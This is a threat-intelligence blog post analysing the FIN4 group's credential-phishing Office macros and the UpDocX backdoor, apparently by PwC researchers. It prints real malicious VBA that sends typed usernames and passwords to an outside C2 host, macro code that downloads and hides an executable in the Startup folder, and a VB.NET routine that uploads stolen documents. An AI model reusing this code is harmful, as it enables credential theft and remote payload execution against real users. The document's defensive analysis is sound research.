UnFIN4ished Business

By Michael Yip and Chris Doman

Overview

With access to business critical information, senior executives and consultants are often said to be valuable targets for threat actors tasked with obtaining sensitive business secrets. FIN4 is a financially motivated threat actor which has consistently targeted this population.

On 23 June 2015, the press reported that the Securities and Exchange Commission are investigating FIN4â€™s activities[1].

Since mid-2013, this group is reported[2] to have targeted more than 100 organisations which are primarily NASDAQ and NYSE listed companies or firms working with those listed clients to provide advisory or financial services, such as investment banking. In particular, the FIN4 group has shown a particular interest in the healthcare and pharmaceutical industry and appears to have team members who are intimately familiar with that industry.

The group is not a new threat and has been previously reported on by other security companies:

- Towards the end of 2013 security company Esentire released a brief alert (ESOC-2013-11-08[3]) regarding a "targeted attack against hedge funds";
- In May 2014, Symantec released a brief alert (O97M.Ratil[4]) providing further details and mitigations for the threat; and,
- In November 2014 FireEye released a detailed report on the threat actor, their tactics, techniques and their targets.

These reports document two methods of attack used by the FIN4 group: malicious Microsoft Office documents to obtain credentials, and phishing pages designed to mimic Outlook Web App authentication pages.

Our research into FIN4 has uncovered evidence which indicates that FIN4 also used bespoke malware to harvest credentials and steal documents from compromised victims.

The UpDocX Malware

During our research into FIN4â€™s malicious macros, we identified a sample, `d102693540b53f9a564e3a550f938709`, which contains similar code to the malicious macros cited in previously documented samples, such as the form display and the subroutine `uploadPOST`, an example of which is given below:

```
Private Sub CommandButton1_Click()
    Dim user, pass As String
    user = UserForm1.UserBox.Value
    pass = UserForm1.PassBox.Value

    If (StrComp(user, "", vbTextCompare) = 0) Or (StrComp(user, "User name", vbTextCompare) = 0) Or (StrComp(pass, "", vbTextCompare) = 0)
        MsgBox ("Invalid username or password")
        isFormComplete = False
        Unload UserForm1
    Else
        Unload UserForm1
        Call uploadPOST(user, pass, "[redacted]PHARMA")
        isFormComplete = True
    End If
End Sub
Sub AutoOpenSub()
    Dim strURL, strPath, strTemp, strCommand As String
    Dim rep, mHdl As Long
    Dim waitTill As Date

    'On Error Resume Next


    Call uploadPOST("NULL", "NULL", "MACRO_EXECUTED_WORD_P_ONLY")


    isFormComplete = False
    While (Not isFormComplete)
        UserForm1.Show
        sheetOpen
    Wend


End Sub
Public Function uploadPOST(ByVal username_no_spaces As String, ByVal password_no_spaces As String, ByVal message_no_spaces As String)

    Dim URL As String
    Dim objHTTP As Object

    Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP")
    URL = "http://www.dmforever.biz/reporter.php?msg=" & message_no_spaces & "&uname=" & username_no_spaces & "&pword=" & password_no_spaces
    objHTTP.Open "POST", URL, False
    objHTTP.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
    objHTTP.send ("")

End Function
```

However, in our sample the macro code differs, in that it uses `URLDownloadToFile` to download an executable named `WINWORD32.exe` - this can be seen below.

```
Call uploadPOST("NULL", "NULL", "UNTITLED")

Ret = URLDownloadToFile(0, "http://www.advantarlabs.com/plugins/extension-xtd/WINWORD32.exe", Application.Path & "\WINWORD32.exe", 0, 0)

strPath = Application.Path & "\WINWORD32.exe"

If (InStr(getOperatingSystem, "XP") > 0) Then
    'MsgBox "Should be XP"
    STARTUP_PATH = Environ$("USERPROFILE") & "\Start Menu\Programs\Startup\"
    strTemp = STARTUP_PATH & "WINWORD32.exe"
    If Len(Dir$(strTemp)) > 0 Then
        Kill strTemp
    End If
    Name strPath As strTemp

    rep = ShellExecute(mHdl, "Open", strTemp, "", "", 1)
Else
    'MsgBox "Should be VISTA OR WIN 7"
    STARTUP_PATH = Environ$("USERPROFILE") & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
    strTemp = STARTUP_PATH & "WINWORD32.exe"
    'strTemp = STARTUP_PATH & "dotnetfx.exe"

    If Len(Dir$(strTemp)) > 0 Then
        Kill strTemp
    End If
    Name strPath As strTemp
    'MsgBox (strTemp)

    rep = Shell(strTemp, vbHide)

End If
```

Using this inbuilt Windows functionality, the macro downloads and executes a file located at the following URL:

`http://www.advantarlabs[.]com/plugins/extension-xtd/WINWORD32.exe`

Due to the command and control filename as shown in the `htmlUpload` function below, we refer to this malware as UpDocX:

```
[StandardModule]
internal sealed class Uploader
{
    public static void htmlUpload(string exportName)
    {
        ServicePointManager.Expect100Continue = false;
        Console.WriteLine("HTML Uploading");
        try
        {
            MyProject.Computer.Network.UploadFile(exportName, "http://www.[redacted].com/cgi/up_docx.php");
        }
        catch (Exception expr_2F)
        {
            ProjectData.SetProjectError(expr_2F);
            Console.WriteLine("FAILED TO UPLOAD TO: http://www.[redacted].com/cgi/up_docx.php");
            ProjectData.ClearProjectError();
        }
        try
        {
            MyProject.Computer.Network.UploadFile(exportName, "http://www.[redacted].com/uploads/up_docx.php");
        }
        catch (Exception expr_5E)
        {
            ProjectData.SetProjectError(expr_5E);
            Console.WriteLine("FAILED TO UPLOAD TO: http://www.[redacted].com/uploads/up_docx.php");
            ProjectData.ClearProjectError();
        }
        try
        {
            MyProject.Computer.Network.UploadFile(exportName, "http://www.[redacted].org/files/policycommittee/up_docx.php");
        }
        catch (Exception expr_8D)
        {
            ProjectData.SetProjectError(expr_8D);
            Console.WriteLine("FAILED TO UPLOAD TO: http://www.[redacted].org/files/policycommittee/up_docx.php");
            ProjectData.ClearProjectError();
        }
    }
}
```

UpDocX was written in VB.NET and compiled without any attempts at obfuscating the source code. There is also no attempt in obfuscating C2 network traffic. It has limited functionality and appears to be a simple backdoor used solely for keylogging and uploading documents to designated C2 servers.

The attackers have, however, put some effort into avoiding detection and hindering investigations. UpDocX has a list of extensive clean-up functions responsible for eliminating evidence of compromise, which indicates a degree of caution often not observed in targeted attacks.

We believe that one of the authors of UpDocX may be a French speaker, based on naming conventions used in the malware.

PwC threat intelligence customers can access a more detailed technical analysis of UpDocX, additional indicators associated with FIN4 and our most recent profile of the group, in report reference CTO-TAP-20150518-01A.

---

[1] http://www.reuters.com/article/2015/06/23/us-hackers-insidertrading-idUSKBN0P31M720150623

[2] https://www2.fireeye.com/rs/fireye/images/rpt-fin4.pdf

[3] https://www.esentire.com/wp-content/uploads/2013/11/esentire_alert_20131108_DOCM.pdf

[4] http://www.symantec.com/security_response/writeup.jsp?docid=2014-052813-3721-99&tabid=2

Tweet

« Neutrino Exploit Kit delivers zero-detection Zeus Variant | Main